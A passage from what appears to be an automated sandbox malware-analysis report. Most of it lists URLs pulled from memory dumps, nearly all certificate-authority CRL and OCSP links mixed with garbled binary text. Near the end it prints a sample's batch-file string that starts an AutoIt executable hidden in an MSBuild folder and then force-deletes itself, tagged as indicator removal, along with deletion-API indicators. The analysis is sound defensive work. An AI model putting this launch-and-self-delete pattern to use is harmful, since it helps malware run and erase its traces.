"http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czco!yj>9iqmgvw,czc1.2.840.113549.1.1.52.16.840.1.113730.1.11.3.6.1.5.5.7.1.121.2.840.113549.1.1.41.3.6.1.4.1.311.21.1microsoft" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eku" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://crl." - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001292.00000002.72371.357B0000.00000004.mdmp") Found URL "http://msdn.microsoft.com/en-us/library/yfsftwz6.aspx" - Source: "00000000-00001292.00000002.72371.45970000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema" - Source: "00000000-00001292.00000002.72371.45970000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportocalsettingoverridedisableearlylaunchantimalware" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0aoc1@ter" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929063406.466z0washington1redmond1t" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/fs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0jggbwashington1redmond1microsoft" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929063406.466z0washington1redmond1microsoft" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mizut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001292.00000002.72371.4DA20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czc@i:go!yjdigicert" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;a*" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/mifhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0tlp0xr!s4zs9_>ndows" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://www.t.com/windows0&pj>e" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z1http://www.microsoft.com/pki/docs/cps/default.htm0@78952678345,6868,3025,,rtlgetntproducttype,ntdll.dll," - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.70448.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000001.70448.5F5C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.70448.5F5C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ks:g[n:gttp:l.mimprod*/miczt2011_20il" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007296.00000002.72367.450F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e?+n:gku:ge:j9ks:gky:g" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc@i:go!yjdigicert" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;us1'@q=g" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/mi.textd364e35" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000002.72367.47390000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportttps://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&:\windows\system32\windowspowershell\v1.0\powershell.exeindows" - Source: "00000000-00007296.00000002.72367.5F5C0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1washington1redmond1microsoft" - Source: "00000000-00007296.00000002.72367.5F5C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0@i\_p-\_p>\_pp\_p/\_" - Source: "00000000-00007296.00000002.72367.5F5C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000002.72367.5F5C0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsp2fgptl_68687a7b7f0,4,010000p" - Source: "00000000-00007296.00000002.72367.5F6C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000002.72367.5F74D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czc6syl>" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yus1k" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissxc\*2\0\" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0asmmcrosoft" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>atiotioni='ea+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2$vkt7" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008120.00000001.70461.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00008120.00000001.70461.36B90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008120.00000001.70461.36B90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008120.00000001.70461.36B90000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00008120.00000002.72379.029E2000.00000002.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008120.00000002.72379.1C830000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008120.00000002.72379.1C830000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008120.00000002.72379.1C830000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008120.00000002.72379.1C830000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008120.00000002.72379.1C830000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc6syl>" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yus1k" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissroviderrovider$%'%roviderlambda_methodroviderb6b1ourcesb6b1ourcesstan2.5.29.10vxcocreab6b1stangu2mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008120.00000002.72379.368D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportn" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt064-6e" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1201706.466z0washington1redmond1microsoft" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microow010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@7" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0311.ft" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/milut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008120.00000002.72379.36B90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrmicrosoft.powershell.cmdletization.generatedtypesrefemit_inmemorymanifestmodulemscorlibsystemenummapsreportingtypemicrosoft.powershell.cmdletization.generatedtypes.mppreferencevalue__disabledbasicadvancedsubmitsamplesconsenttypenonealwaysnevereverydaysundaymondaytuesdaywednesdaythursdayfridaysaturdayscantypequickscanfullscanscandirectionbothincomingoutcomingthreatseverityunknownmoderatehighseverethreatactioncleanquarantineremoveallowuserdefinednoactionblockpuaprotectiontypeenabledauditmodecloudblockleveltypedefaulthighpluszerotoleranceasrruleactiontypemicrosoft.powershell.cmdletization.generatedtypes.mpscancustomscanupdatesourcemicrosoft.powershell.cmdletization.generatedtypes.mpsignatureinternaldefinitionupdateservermicrosoftupdateservermmpcfilesharesmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00008120.00000002.72379.36C90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbc5n6c5n6c5n6washington1redmond1microsoft" - Source: "00000000-00008120.00000002.72379.36C90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrnulstart \"\" \"C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe\"del /a /q /f \"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\\\rgVo7Q94jw.bat\"\" (Indicator: \"\"del \") in Source: rgVo7Q94jw.bat\n Observed string: \"del /a /q /f \"C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\\\rgVo7Q94jw.bat\"\" (Indicator: \"del \") in Source: rgVo7Q94jw.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"Unable to remove task index %ws, RegDeleteKeyEx failed, status 0x%08x\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: 